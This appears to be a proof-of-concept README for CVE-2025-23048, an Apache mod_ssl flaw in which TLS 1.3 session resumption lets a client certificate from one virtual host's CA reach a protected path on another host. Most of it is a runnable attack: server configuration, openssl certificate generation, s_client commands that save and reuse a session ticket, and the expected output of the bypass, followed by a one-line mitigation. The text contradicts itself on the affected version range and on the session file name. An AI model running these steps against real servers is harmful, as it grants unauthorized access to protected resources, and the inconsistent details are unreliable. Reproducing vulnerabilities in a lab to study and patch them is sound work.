absholi7ly/cve-2025-23048-pocApache HTTP Server versions 2.4.35 – 2.4.63 are vulnerable to a client certificate authentication bypass when TLS 1.3 session resumption is used across virtual hosts with different `SSLCACertificateFile` directives.
# CVE-2025-23048: Apache mod_ssl TLS 1.3 Session Resumption Client Certificate Bypass
**Apache HTTP Server versions 2.4.35 – 2.4.62 are vulnerable to a client certificate authentication bypass when TLS 1.3 session resumption is used across virtual hosts with different `SSLCACertificateFile` directives.**
An attacker with a valid client certificate for one virtual host can resume a TLS 1.3 session on a different virtual host that requires a certificate issued by a distinct CA — gaining unauthorized access to protected resources.
---
## Tested Environment
- Apache HTTP Server: 2.4.57 (Win64)
- Operating System: Windows 10 (64-bit)
---
## Server Setup
### 1. Install Apache 2.4.57 (Win64)
# Download from: https://www.apachelounge.com/download/VS16/binaries/httpd-2.4.57-win64-VS16.zip
# Extract to C:\Apache24
conf\httpd.confLoadModule socache_shmcb_module modules/mod_socache_shmcb.so
LoadModule ssl_module modules/mod_ssl.so
SSLSessionCache "shmcb:C:/Apache24/logs/ssl_scache(512000)"
SSLSessionCacheTimeout 300
SSLSessionTickets on
cd C:\Apache24\conf
mkdir ssl
cd ssl
# Server cert (self-signed)
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=localhost"
# CA1 and client cert for vhost1
openssl req -x509 -newkey rsa:2048 -keyout ca1.key -out ca1.pem -days 365 -nodes -subj "/CN=CA1"
openssl req -newkey rsa:2048 -keyout client_ca1.key -out client_ca1.csr -nodes -subj "/CN=Client1"
openssl x509 -req -in client_ca1.csr -CA ca1.pem -CAkey ca1.key -CAcreateserial -out client_ca1.crt -days 365
# CA2 for vhost2
openssl req -x509 -newkey rsa:2048 -keyout ca2.key -out ca2.pem -days 365 -nodes -subj "/CN=CA2"
# Cleanup
del client_ca1.csr *.srl
conf\extra\httpd-vhosts.conf)<VirtualHost *:443>
ServerName vhost1.example.com
DocumentRoot "C:/Apache24/htdocs/vhost1"
SSLEngine on
SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
SSLCACertificateFile "C:/Apache24/conf/ssl/ca1.pem"
SSLVerifyClient optional
SSLVerifyDepth 1
SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
SSLStrictSNIVHostCheck off
<Location />
Require ssl-verify-client
</Location>
</VirtualHost>
<VirtualHost *:443>
ServerName vhost2.example.com
DocumentRoot "C:/Apache24/htdocs/vhost2"
SSLEngine on
SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
SSLCACertificateFile "C:/Apache24/conf/ssl/ca2.pem"
SSLVerifyClient optional_no_ca
SSLVerifyDepth 1
SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
SSLStrictSNIVHostCheck off
<Location /restricted>
Require valid-user
</Location>
</VirtualHost>
mkdir C:\Apache24\htdocs\vhost1
echo <html><body>Vhost1: Accessible with CA1</body></html> > C:\Apache24\htdocs\vhost1\index.html
mkdir C:\Apache24\htdocs\vhost2\restricted
echo <html><body>Restricted: Vhost2 Secret!</body></html> > C:\Apache24\htdocs\vhost2\restricted\index.html
C:\Apache24\bin>httpd.exe -k install
C:\Apache24\bin>httpd.exe -k start
vhost1 → Save Sessionopenssl s_client -servername vhost1.example.com -tls1_3 -cert "C:\Apache24\conf\ssl\client_ca1.crt" -key "C:\Apache24\conf\ssl\client_ca1.key" -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_out session_v1.pem 127.0.0.1:443
Input after connection:
GET / HTTP/1.1
Host: vhost1.example.com
Expected Output (truncated):
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
...
Post-Handshake New Session Ticket arrived:
...
HTTP/1.1 200 OK
...
<html><body>Vhost1: Accessible with CA1</body></html>
Session ticket saved to
session_shared.pem.
vhost2 → Access Protected Pathopenssl s_client -servername vhost2.example.com -tls1_3 -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_in session_v1.pem 127.0.0.1:443
Input:
GET /restricted/ HTTP/1.1
Host: vhost2.example.com
Expected Output (Critical):
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Resumption PSK: ...
TLS session ticket lifetime hint: 300 (seconds)
...
HTTP/1.1 200 OK
...
<html><body>Restricted: Vhost2 Secret!</body></html>
Client certificate from CA1 was accepted on vhost2 (which trusts only CA2)
No re-authentication occurred — session resumption bypassed CA check
SSLStrictSNIVHostCheck on
in all TLS 1.3 virtual hosts requiring distinct client CAs.
Disables cross-SNI session resumption — prevents bypass.